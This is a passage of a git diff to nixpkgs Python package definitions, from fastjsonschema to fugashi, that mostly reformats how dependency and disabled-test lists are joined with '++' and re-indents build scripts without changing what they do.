+          mv "$out/${python.sitePackages}/"{fastjet.py,_fastjet_swig.py}
+        '';
       });
   fastjet-contrib = pkgs.fastjet-contrib.override {
     inherit fastjet;
diff --git a/pkgs/development/python-modules/fastjsonschema/default.nix b/pkgs/development/python-modules/fastjsonschema/default.nix
index ad250ee1715c..e37eb286bb3f 100644
--- a/pkgs/development/python-modules/fastjsonschema/default.nix
+++ b/pkgs/development/python-modules/fastjsonschema/default.nix
@@ -27,16 +27,15 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [
-      "benchmark"
-      # these tests require network access
-      "remote ref"
-      "definitions"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_compile_to_code_custom_format" # cannot import temporary module created during test
-    ];
+  disabledTests = [
+    "benchmark"
+    # these tests require network access
+    "remote ref"
+    "definitions"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_compile_to_code_custom_format" # cannot import temporary module created during test
+  ];
 
   pytestFlagsArray = [
     # fastjsonschema.exceptions.JsonSchemaDefinitionException: Unknown format uuid/duration
diff --git a/pkgs/development/python-modules/fenics-dolfinx/default.nix b/pkgs/development/python-modules/fenics-dolfinx/default.nix
index ffb5ead74482..36425557fe99 100644
--- a/pkgs/development/python-modules/fenics-dolfinx/default.nix
+++ b/pkgs/development/python-modules/fenics-dolfinx/default.nix
@@ -129,17 +129,16 @@ buildPythonPackage rec {
   ];
 
   passthru = {
-    tests =
-      {
-        complex = fenics-dolfinx.override {
-          petsc4py = petsc4py.override { scalarType = "complex"; };
-        };
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        mpich = fenics-dolfinx.override {
-          petsc4py = petsc4py.override { mpi = mpich; };
-        };
+    tests = {
+      complex = fenics-dolfinx.override {
+        petsc4py = petsc4py.override { scalarType = "complex"; };
       };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      mpich = fenics-dolfinx.override {
+        petsc4py = petsc4py.override { mpi = mpich; };
+      };
+    };
   };
 
   meta = {
diff --git a/pkgs/development/python-modules/filedepot/default.nix b/pkgs/development/python-modules/filedepot/default.nix
index e733f308646e..072e6ea60ef1 100644
--- a/pkgs/development/python-modules/filedepot/default.nix
+++ b/pkgs/development/python-modules/filedepot/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
   dependencies = [
     anyascii
     google-cloud-storage
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
 
   nativeCheckInputs = [
     flaky
diff --git a/pkgs/development/python-modules/fiona/default.nix b/pkgs/development/python-modules/fiona/default.nix
index c6dbee62dd7e..9e671f9ced9a 100644
--- a/pkgs/development/python-modules/fiona/default.nix
+++ b/pkgs/development/python-modules/fiona/default.nix
@@ -69,7 +69,8 @@ buildPythonPackage rec {
     pytz
     shapely
     snuggs
-  ] ++ optional-dependencies.s3;
+  ]
+  ++ optional-dependencies.s3;
 
   preCheck = ''
     rm -r fiona # prevent importing local fiona
diff --git a/pkgs/development/python-modules/fipy/default.nix b/pkgs/development/python-modules/fipy/default.nix
index 2be37738ebb1..24b4264a2c62 100644
--- a/pkgs/development/python-modules/fipy/default.nix
+++ b/pkgs/development/python-modules/fipy/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     future
     scikit-fmm
     openssh
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ gmsh ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ gmsh ];
 
   nativeCheckInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ gmsh ];
 
diff --git a/pkgs/development/python-modules/firebase-messaging/default.nix b/pkgs/development/python-modules/firebase-messaging/default.nix
index e0f69f7d4e68..4768de6b51a2 100644
--- a/pkgs/development/python-modules/firebase-messaging/default.nix
+++ b/pkgs/development/python-modules/firebase-messaging/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [
     sphinxHook
-  ] ++ optional-dependencies.docs;
+  ]
+  ++ optional-dependencies.docs;
 
   pythonRelaxDeps = [
     "http-ece"
diff --git a/pkgs/development/python-modules/firedrake/default.nix b/pkgs/development/python-modules/firedrake/default.nix
index 6fa7ef63a24a..95fd65845107 100644
--- a/pkgs/development/python-modules/firedrake/default.nix
+++ b/pkgs/development/python-modules/firedrake/default.nix
@@ -74,26 +74,25 @@ buildPythonPackage rec {
     })
   ];
 
-  postPatch =
-    ''
-      # relax build-dependency petsc4py
-      substituteInPlace pyproject.toml --replace-fail \
-        "petsc4py==3.23.0" "petsc4py"
+  postPatch = ''
+    # relax build-dependency petsc4py
+    substituteInPlace pyproject.toml --replace-fail \
+      "petsc4py==3.23.0" "petsc4py"
 
-      # These scripts are used by official source distribution only,
-      # and do not make sense in our binary distribution.
-      sed -i '/firedrake-\(check\|status\|run-split-tests\)/d' pyproject.toml
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace firedrake/petsc.py --replace-fail \
-        'program = ["ldd"]' \
-        'program = ["${lib.getExe' pax-utils "lddtree"}"]'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace firedrake/petsc.py --replace-fail \
-        'program = ["otool"' \
-        'program = ["${lib.getExe' stdenv.cc.bintools.bintools "otool"}"'
-    '';
+    # These scripts are used by official source distribution only,
+    # and do not make sense in our binary distribution.
+    sed -i '/firedrake-\(check\|status\|run-split-tests\)/d' pyproject.toml
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace firedrake/petsc.py --replace-fail \
+      'program = ["ldd"]' \
+      'program = ["${lib.getExe' pax-utils "lddtree"}"]'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace firedrake/petsc.py --replace-fail \
+      'program = ["otool"' \
+      'program = ["${lib.getExe' stdenv.cc.bintools.bintools "otool"}"'
+  '';
 
   pythonRelaxDeps = [
     "decorator"
@@ -115,33 +114,32 @@ buildPythonPackage rec {
     firedrakePackages.mpi
   ];
 
-  dependencies =
-    [
-      decorator
-      cachetools
-      firedrakePackages.mpi4py
-      fenics-ufl
-      firedrake-fiat
-      firedrakePackages.h5py
-      libsupermesh
-      loopy
-      petsc4py
-      numpy
-      packaging
-      pkgconfig
-      progress
-      pyadjoint-ad
-      pycparser
-      pytools
-      requests
-      rtree
-      scipy
-      sympy
-      # required by script spydump
-      matplotlib
-    ]
-    ++ pytools.optional-dependencies.siphash
-    ++ lib.optional stdenv.hostPlatform.isDarwin islpy;
+  dependencies = [
+    decorator
+    cachetools
+    firedrakePackages.mpi4py
+    fenics-ufl
+    firedrake-fiat
+    firedrakePackages.h5py
+    libsupermesh
+    loopy
+    petsc4py
+    numpy
+    packaging
+    pkgconfig
+    progress
+    pyadjoint-ad
+    pycparser
+    pytools
+    requests
+    rtree
+    scipy
+    sympy
+    # required by script spydump
+    matplotlib
+  ]
+  ++ pytools.optional-dependencies.siphash
+  ++ lib.optional stdenv.hostPlatform.isDarwin islpy;
 
   postFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
     install_name_tool -add_rpath ${libsupermesh}/${python.sitePackages}/libsupermesh/lib \
diff --git a/pkgs/development/python-modules/fixtures/default.nix b/pkgs/development/python-modules/fixtures/default.nix
index 3ce27e83f233..8989e474942f 100644
--- a/pkgs/development/python-modules/fixtures/default.nix
+++ b/pkgs/development/python-modules/fixtures/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ optional-dependencies.streams;
+  ]
+  ++ optional-dependencies.streams;
 
   meta = {
     description = "Reusable state for writing clean tests and more";
diff --git a/pkgs/development/python-modules/flask-appbuilder/default.nix b/pkgs/development/python-modules/flask-appbuilder/default.nix
index ce4986c98904..a4d08de5452b 100644
--- a/pkgs/development/python-modules/flask-appbuilder/default.nix
+++ b/pkgs/development/python-modules/flask-appbuilder/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     pyjwt
     pyyaml
     sqlalchemy-utils
-  ] ++ apispec.optional-dependencies.yaml;
+  ]
+  ++ apispec.optional-dependencies.yaml;
 
   postPatch = ''
     substituteInPlace setup.py \
diff --git a/pkgs/development/python-modules/flask-caching/default.nix b/pkgs/development/python-modules/flask-caching/default.nix
index 4e336922221b..4d6b6f426972 100644
--- a/pkgs/development/python-modules/flask-caching/default.nix
+++ b/pkgs/development/python-modules/flask-caching/default.nix
@@ -41,19 +41,18 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # backend_cache relies on pytest-cache, which is a stale package from 2013
-      "backend_cache"
-      # optional backends
-      "Redis"
-      "Memcache"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # ignore flaky test
-      "test_cache_timeout_dynamic"
-      "test_cached_view_class"
-    ];
+  disabledTests = [
+    # backend_cache relies on pytest-cache, which is a stale package from 2013
+    "backend_cache"
+    # optional backends
+    "Redis"
+    "Memcache"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # ignore flaky test
+    "test_cache_timeout_dynamic"
+    "test_cached_view_class"
+  ];
 
   meta = with lib; {
     description = "Caching extension for Flask";
diff --git a/pkgs/development/python-modules/flask-compress/default.nix b/pkgs/development/python-modules/flask-compress/default.nix
index 6fe9d67015a6..f0de16eb7d49 100644
--- a/pkgs/development/python-modules/flask-compress/default.nix
+++ b/pkgs/development/python-modules/flask-compress/default.nix
@@ -30,13 +30,12 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      flask
-      zstandard
-    ]
-    ++ lib.optionals (!isPyPy) [ brotli ]
-    ++ lib.optionals isPyPy [ brotlicffi ];
+  dependencies = [
+    flask
+    zstandard
+  ]
+  ++ lib.optionals (!isPyPy) [ brotli ]
+  ++ lib.optionals isPyPy [ brotlicffi ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/flask-dramatiq/default.nix b/pkgs/development/python-modules/flask-dramatiq/default.nix
index df943b1d8ed1..695ad563bfb0 100644
--- a/pkgs/development/python-modules/flask-dramatiq/default.nix
+++ b/pkgs/development/python-modules/flask-dramatiq/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage {
     postgresql
     postgresqlTestHook
     psycopg2
-  ] ++ dramatiq.optional-dependencies.rabbitmq;
+  ]
+  ++ dramatiq.optional-dependencies.rabbitmq;
 
   postgresqlTestSetupPost = ''
     substituteInPlace config.py \
diff --git a/pkgs/development/python-modules/flask-expects-json/default.nix b/pkgs/development/python-modules/flask-expects-json/default.nix
index a0598642d497..4e245d4705a0 100644
--- a/pkgs/development/python-modules/flask-expects-json/default.nix
+++ b/pkgs/development/python-modules/flask-expects-json/default.nix
@@ -22,7 +22,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     flask
     jsonschema
-  ] ++ flask.optional-dependencies.async;
+  ]
+  ++ flask.optional-dependencies.async;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/flask-jwt-extended/default.nix b/pkgs/development/python-modules/flask-jwt-extended/default.nix
index 56e6c52ccc6f..5d0274321f88 100644
--- a/pkgs/development/python-modules/flask-jwt-extended/default.nix
+++ b/pkgs/development/python-modules/flask-jwt-extended/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "flask_jwt_extended" ];
 
diff --git a/pkgs/development/python-modules/flask-mongoengine/default.nix b/pkgs/development/python-modules/flask-mongoengine/default.nix
index 8fa9a2333561..8292a81f90d9 100644
--- a/pkgs/development/python-modules/flask-mongoengine/default.nix
+++ b/pkgs/development/python-modules/flask-mongoengine/default.nix
@@ -40,13 +40,15 @@ buildPythonPackage rec {
     flask
     flask-wtf
     mongoengine
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   optional-dependencies = {
     wtf = [
       flask-wtf
       wtforms
-    ] ++ wtforms.optional-dependencies.email;
+    ]
+    ++ wtforms.optional-dependencies.email;
     # toolbar = [
     #   flask-debugtoolbar
     # ];
diff --git a/pkgs/development/python-modules/flask-restx/default.nix b/pkgs/development/python-modules/flask-restx/default.nix
index c9c63350d335..cc8471342438 100644
--- a/pkgs/development/python-modules/flask-restx/default.nix
+++ b/pkgs/development/python-modules/flask-restx/default.nix
@@ -60,16 +60,15 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  pytestFlagsArray =
-    [
-      "--benchmark-disable"
-      "--deselect=tests/test_inputs.py::URLTest::test_check"
-      "--deselect=tests/test_inputs.py::EmailTest::test_valid_value_check"
-      "--deselect=tests/test_logging.py::LoggingTest::test_override_app_level"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--deselect=tests/test_inputs.py::EmailTest::test_invalid_values_check"
-    ];
+  pytestFlagsArray = [
+    "--benchmark-disable"
+    "--deselect=tests/test_inputs.py::URLTest::test_check"
+    "--deselect=tests/test_inputs.py::EmailTest::test_valid_value_check"
+    "--deselect=tests/test_logging.py::LoggingTest::test_override_app_level"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--deselect=tests/test_inputs.py::EmailTest::test_invalid_values_check"
+  ];
 
   disabledTests = [
     "test_specs_endpoint_host_and_subdomain"
diff --git a/pkgs/development/python-modules/flask-security/default.nix b/pkgs/development/python-modules/flask-security/default.nix
index 4564b9833f28..73dc06279589 100644
--- a/pkgs/development/python-modules/flask-security/default.nix
+++ b/pkgs/development/python-modules/flask-security/default.nix
@@ -102,23 +102,22 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      authlib
-      flask-sqlalchemy-lite
-      freezegun
-      mongoengine
-      mongomock
-      peewee
-      pony
-      pytestCheckHook
-      requests
-      zxcvbn
-    ]
-    ++ optional-dependencies.babel
-    ++ optional-dependencies.common
-    ++ optional-dependencies.fsqla
-    ++ optional-dependencies.mfa;
+  nativeCheckInputs = [
+    authlib
+    flask-sqlalchemy-lite
+    freezegun
+    mongoengine
+    mongomock
+    peewee
+    pony
+    pytestCheckHook
+    requests
+    zxcvbn
+  ]
+  ++ optional-dependencies.babel
+  ++ optional-dependencies.common
+  ++ optional-dependencies.fsqla
+  ++ optional-dependencies.mfa;
 
   preCheck = ''
     pybabel compile --domain flask_security -d flask_security/translations
diff --git a/pkgs/development/python-modules/flask-sqlalchemy-lite/default.nix b/pkgs/development/python-modules/flask-sqlalchemy-lite/default.nix
index 3bee854ca196..93979ca50889 100644
--- a/pkgs/development/python-modules/flask-sqlalchemy-lite/default.nix
+++ b/pkgs/development/python-modules/flask-sqlalchemy-lite/default.nix
@@ -23,13 +23,12 @@ buildPythonPackage rec {
 
   build-system = [ flit-core ];
 
-  dependencies =
-    [
-      flask
-      sqlalchemy
-    ]
-    ++ flask.optional-dependencies.async
-    ++ sqlalchemy.optional-dependencies.asyncio;
+  dependencies = [
+    flask
+    sqlalchemy
+  ]
+  ++ flask.optional-dependencies.async
+  ++ sqlalchemy.optional-dependencies.asyncio;
 
   pythonImportsCheck = [ "flask_sqlalchemy_lite" ];
 
diff --git a/pkgs/development/python-modules/flask/default.nix b/pkgs/development/python-modules/flask/default.nix
index ac0653a56c9b..90b62cb02898 100644
--- a/pkgs/development/python-modules/flask/default.nix
+++ b/pkgs/development/python-modules/flask/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     itsdangerous
     jinja2
     werkzeug
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   optional-dependencies = {
     async = [ asgiref ];
diff --git a/pkgs/development/python-modules/flit-gettext/default.nix b/pkgs/development/python-modules/flit-gettext/default.nix
index cdf3dadf14ed..e975742bb7db 100644
--- a/pkgs/development/python-modules/flit-gettext/default.nix
+++ b/pkgs/development/python-modules/flit-gettext/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
     build
     pytestCheckHook
     wheel
-  ] ++ optional-dependencies.scm;
+  ]
+  ++ optional-dependencies.scm;
 
   disabledTests = [
     # tests for missing msgfmt, but we always provide it
diff --git a/pkgs/development/python-modules/flit-scm/default.nix b/pkgs/development/python-modules/flit-scm/default.nix
index 0592be831f6d..ee55abc0ff49 100644
--- a/pkgs/development/python-modules/flit-scm/default.nix
+++ b/pkgs/development/python-modules/flit-scm/default.nix
@@ -23,12 +23,14 @@ buildPythonPackage rec {
   nativeBuildInputs = [
     flit-core
     setuptools-scm
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   propagatedBuildInputs = [
     flit-core
     setuptools-scm
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [ "flit_scm" ];
 
diff --git a/pkgs/development/python-modules/flow-record/default.nix b/pkgs/development/python-modules/flow-record/default.nix
index fbc7557e5050..90d03c13a4d4 100644
--- a/pkgs/development/python-modules/flow-record/default.nix
+++ b/pkgs/development/python-modules/flow-record/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     elastic-transport
     pytest7CheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "flow.record" ];
 
diff --git a/pkgs/development/python-modules/fmpy/default.nix b/pkgs/development/python-modules/fmpy/default.nix
index fd66b5f34bd2..20ad8756c031 100644
--- a/pkgs/development/python-modules/fmpy/default.nix
+++ b/pkgs/development/python-modules/fmpy/default.nix
@@ -113,27 +113,26 @@ buildPythonPackage rec {
   # cvode is already built, so we only need to build native binaries.
   # We run these cmake builds and then run the standard
   # buildPythonPackage phases.
-  preBuild =
-    ''
-      cmakeFlags="-S native/src -B native/src/build -D CVODE_INSTALL_DIR=${passthru.cvode}"
-      cmakeConfigurePhase
-      cmake --build native/src/build --config Release
-    ''
-    + lib.optionalString (enableRemoting && stdenv.isLinux) ''
-      # reimplementation of native/build_remoting.py
-      cmakeFlags="-S native/remoting -B remoting/linux64 -D RPCLIB=${rpclib}"
-      cmakeConfigurePhase
-      cmake --build remoting/linux64 --config Release
-    ''
-    # C.f. upstream build-wheel CI job
-    + ''
-      python native/copy_sources.py
+  preBuild = ''
+    cmakeFlags="-S native/src -B native/src/build -D CVODE_INSTALL_DIR=${passthru.cvode}"
+    cmakeConfigurePhase
+    cmake --build native/src/build --config Release
+  ''
+  + lib.optionalString (enableRemoting && stdenv.isLinux) ''
+    # reimplementation of native/build_remoting.py
+    cmakeFlags="-S native/remoting -B remoting/linux64 -D RPCLIB=${rpclib}"
+    cmakeConfigurePhase
+    cmake --build remoting/linux64 --config Release
+  ''
+  # C.f. upstream build-wheel CI job
+  + ''
+    python native/copy_sources.py
 
-      # reimplementation of native/compile_resources.py
-      pushd src/
-      python -c "from fmpy.gui import compile_resources; compile_resources()"
-      popd
-    '';
+    # reimplementation of native/compile_resources.py
+    pushd src/
+    python -c "from fmpy.gui import compile_resources; compile_resources()"
+    popd
+  '';
 
   pythonImportsCheck = [
     "fmpy"
diff --git a/pkgs/development/python-modules/fnllm/default.nix b/pkgs/development/python-modules/fnllm/default.nix
index 365876edd3c2..8d881840a62c 100644
--- a/pkgs/development/python-modules/fnllm/default.nix
+++ b/pkgs/development/python-modules/fnllm/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "fnllm" ];
 
diff --git a/pkgs/development/python-modules/fontmake/default.nix b/pkgs/development/python-modules/fontmake/default.nix
index 049aa3c53c74..770b40718ba1 100644
--- a/pkgs/development/python-modules/fontmake/default.nix
+++ b/pkgs/development/python-modules/fontmake/default.nix
@@ -42,17 +42,16 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      fontmath
-      fonttools
-      glyphslib
-      ufo2ft
-      ufolib2
-    ]
-    ++ fonttools.optional-dependencies.ufo
-    ++ fonttools.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.unicode;
+  dependencies = [
+    fontmath
+    fonttools
+    glyphslib
+    ufo2ft
+    ufolib2
+  ]
+  ++ fonttools.optional-dependencies.ufo
+  ++ fonttools.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.unicode;
 
   optional-dependencies = {
     pathops = [ skia-pathops ];
diff --git a/pkgs/development/python-modules/fontparts/default.nix b/pkgs/development/python-modules/fontparts/default.nix
index de4ab03b5086..3723b6eb5a48 100644
--- a/pkgs/development/python-modules/fontparts/default.nix
+++ b/pkgs/development/python-modules/fontparts/default.nix
@@ -36,17 +36,16 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      booleanoperations
-      defcon
-      fontmath
-      fonttools
-    ]
-    ++ defcon.optional-dependencies.pens
-    ++ fonttools.optional-dependencies.ufo
-    ++ fonttools.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.unicode;
+  dependencies = [
+    booleanoperations
+    defcon
+    fontmath
+    fonttools
+  ]
+  ++ defcon.optional-dependencies.pens
+  ++ fonttools.optional-dependencies.ufo
+  ++ fonttools.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.unicode;
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/fontpens/default.nix b/pkgs/development/python-modules/fontpens/default.nix
index 4267c7235127..47a7fd02440f 100644
--- a/pkgs/development/python-modules/fontpens/default.nix
+++ b/pkgs/development/python-modules/fontpens/default.nix
@@ -24,22 +24,23 @@ buildPythonPackage rec {
 
   # can't run normal tests due to circular dependency with fontParts
   doCheck = false;
-  pythonImportsCheck =
-    [ "fontPens" ]
-    ++ (builtins.map (s: "fontPens." + s) [
-      "angledMarginPen"
-      "digestPointPen"
-      "flattenPen"
-      "guessSmoothPointPen"
-      "marginPen"
-      "penTools"
-      "printPen"
-      "printPointPen"
-      "recordingPointPen"
-      "thresholdPen"
-      "thresholdPointPen"
-      "transformPointPen"
-    ]);
+  pythonImportsCheck = [
+    "fontPens"
+  ]
+  ++ (builtins.map (s: "fontPens." + s) [
+    "angledMarginPen"
+    "digestPointPen"
+    "flattenPen"
+    "guessSmoothPointPen"
+    "marginPen"
+    "penTools"
+    "printPen"
+    "printPointPen"
+    "recordingPointPen"
+    "thresholdPen"
+    "thresholdPointPen"
+    "transformPointPen"
+  ]);
 
   meta = with lib; {
     description = "Collection of classes implementing the pen protocol for manipulating glyphs";
diff --git a/pkgs/development/python-modules/fonttools/default.nix b/pkgs/development/python-modules/fonttools/default.nix
index 7fc9a62294a4..42c64e016bf9 100644
--- a/pkgs/development/python-modules/fonttools/default.nix
+++ b/pkgs/development/python-modules/fonttools/default.nix
@@ -74,25 +74,24 @@ buildPythonPackage rec {
     in
     extras // { all = lib.concatLists (lib.attrValues extras); };
 
-  nativeCheckInputs =
-    [
-      # test suite fails with pytest>=8.0.1
-      # https://github.com/fonttools/fonttools/issues/3458
-      pytest7CheckHook
-    ]
-    ++ lib.concatLists (
-      lib.attrVals (
-        [
-          "woff"
-          # "interpolatable" is not included because it only contains 2 tests at the time of writing but adds 270 extra dependencies
-          "ufo"
-        ]
-        ++ lib.optionals (!skia-pathops.meta.broken) [
-          "pathops" # broken
-        ]
-        ++ [ "repacker" ]
-      ) optional-dependencies
-    );
+  nativeCheckInputs = [
+    # test suite fails with pytest>=8.0.1
+    # https://github.com/fonttools/fonttools/issues/3458
+    pytest7CheckHook
+  ]
+  ++ lib.concatLists (
+    lib.attrVals (
+      [
+        "woff"
+        # "interpolatable" is not included because it only contains 2 tests at the time of writing but adds 270 extra dependencies
+        "ufo"
+      ]
+      ++ lib.optionals (!skia-pathops.meta.broken) [
+        "pathops" # broken
+      ]
+      ++ [ "repacker" ]
+    ) optional-dependencies
+  );
 
   pythonImportsCheck = [ "fontTools" ];
 
diff --git a/pkgs/development/python-modules/foolscap/default.nix b/pkgs/development/python-modules/foolscap/default.nix
index 3cf3b2beb1b8..2f4ed006b849 100644
--- a/pkgs/development/python-modules/foolscap/default.nix
+++ b/pkgs/development/python-modules/foolscap/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     six
     twisted
     pyopenssl
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   optional-dependencies = {
     i2p = [ txi2p-tahoe ];
@@ -50,7 +51,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "foolscap" ];
 
diff --git a/pkgs/development/python-modules/foxdot/default.nix b/pkgs/development/python-modules/foxdot/default.nix
index f9faef8be2bd..efa8dcee7cd5 100644
--- a/pkgs/development/python-modules/foxdot/default.nix
+++ b/pkgs/development/python-modules/foxdot/default.nix
@@ -17,11 +17,12 @@ buildPythonPackage rec {
     sha256 = "528999da55ad630e540a39c0eaeacd19c58c36f49d65d24ea9704d0781e18c90";
   };
 
-  propagatedBuildInputs =
-    [ tkinter ]
-    # we currently build SuperCollider only on Linux
-    # but FoxDot is totally usable on macOS with the official SuperCollider binary
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ supercollider ];
+  propagatedBuildInputs = [
+    tkinter
+  ]
+  # we currently build SuperCollider only on Linux
+  # but FoxDot is totally usable on macOS with the official SuperCollider binary
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ supercollider ];
 
   # Requires a running SuperCollider instance
   doCheck = false;
diff --git a/pkgs/development/python-modules/fs/default.nix b/pkgs/development/python-modules/fs/default.nix
index 1d9031fabc6b..70284bcf8f6a 100644
--- a/pkgs/development/python-modules/fs/default.nix
+++ b/pkgs/development/python-modules/fs/default.nix
@@ -61,18 +61,17 @@ buildPythonPackage rec {
     "tests/test_copy.py"
   ];
 
-  disabledTests =
-    [
-      "user_data_repr"
-      # https://github.com/PyFilesystem/pyfilesystem2/issues/568
-      "test_remove"
-      # Tests require network access
-      "TestFTPFS"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # remove if https://github.com/PyFilesystem/pyfilesystem2/issues/430#issue-707878112 resolved
-      "test_ftpfs"
-    ];
+  disabledTests = [
+    "user_data_repr"
+    # https://github.com/PyFilesystem/pyfilesystem2/issues/568
+    "test_remove"
+    # Tests require network access
+    "TestFTPFS"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # remove if https://github.com/PyFilesystem/pyfilesystem2/issues/430#issue-707878112 resolved
+    "test_ftpfs"
+  ];
 
   pythonImportsCheck = [ "fs" ];
 
diff --git a/pkgs/development/python-modules/fslpy/default.nix b/pkgs/development/python-modules/fslpy/default.nix
index 0633b9b5133c..48d828abea24 100644
--- a/pkgs/development/python-modules/fslpy/default.nix
+++ b/pkgs/development/python-modules/fslpy/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-cov-stub
     tomli
-  ] ++ optional-dependencies.extra;
+  ]
+  ++ optional-dependencies.extra;
 
   disabledTestPaths = [
     # tries to download data:
diff --git a/pkgs/development/python-modules/fsspec/default.nix b/pkgs/development/python-modules/fsspec/default.nix
index e536d84a9bcc..f35cb5599e4d 100644
--- a/pkgs/development/python-modules/fsspec/default.nix
+++ b/pkgs/development/python-modules/fsspec/default.nix
@@ -117,20 +117,19 @@ buildPythonPackage rec {
 
   __darwinAllowLocalNetworking = true;
 
-  disabledTests =
-    [
-      # network access to aws s3
-      "test_async_cat_file_ranges"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # works locally on APFS, fails on hydra with AssertionError comparing timestamps
-      # darwin hydra builder uses HFS+ and has only one second timestamp resolution
-      # this two tests however, assume nanosecond resolution
-      "test_modified"
-      "test_touch"
-      # tries to access /home, ignores $HOME
-      "test_directories"
-    ];
+  disabledTests = [
+    # network access to aws s3
+    "test_async_cat_file_ranges"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # works locally on APFS, fails on hydra with AssertionError comparing timestamps
+    # darwin hydra builder uses HFS+ and has only one second timestamp resolution
+    # this two tests however, assume nanosecond resolution
+    "test_modified"
+    "test_touch"
+    # tries to access /home, ignores $HOME
+    "test_directories"
+  ];
 
   disabledTestPaths = [
     # network access to github.com
diff --git a/pkgs/development/python-modules/fugashi/default.nix b/pkgs/development/python-modules/fugashi/default.nix
index 63c19f1215a3..f1978a6fb831 100644
--- a/pkgs/development/python-modules/fugashi/default.nix
+++ b/pkgs/development/python-modules/fugashi/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     ipadic
     pytestCheckHook
-  ] ++ optional-dependencies.unidic-lite;
+  ]
+  ++ optional-dependencies.unidic-lite;
 
   optional-dependencies = {
     unidic-lite = [ unidic-lite ];
diff --git a/pkgs/development/python-modules/funsor/default.nix b/pkgs/development/python-modules/funsor/default.nix
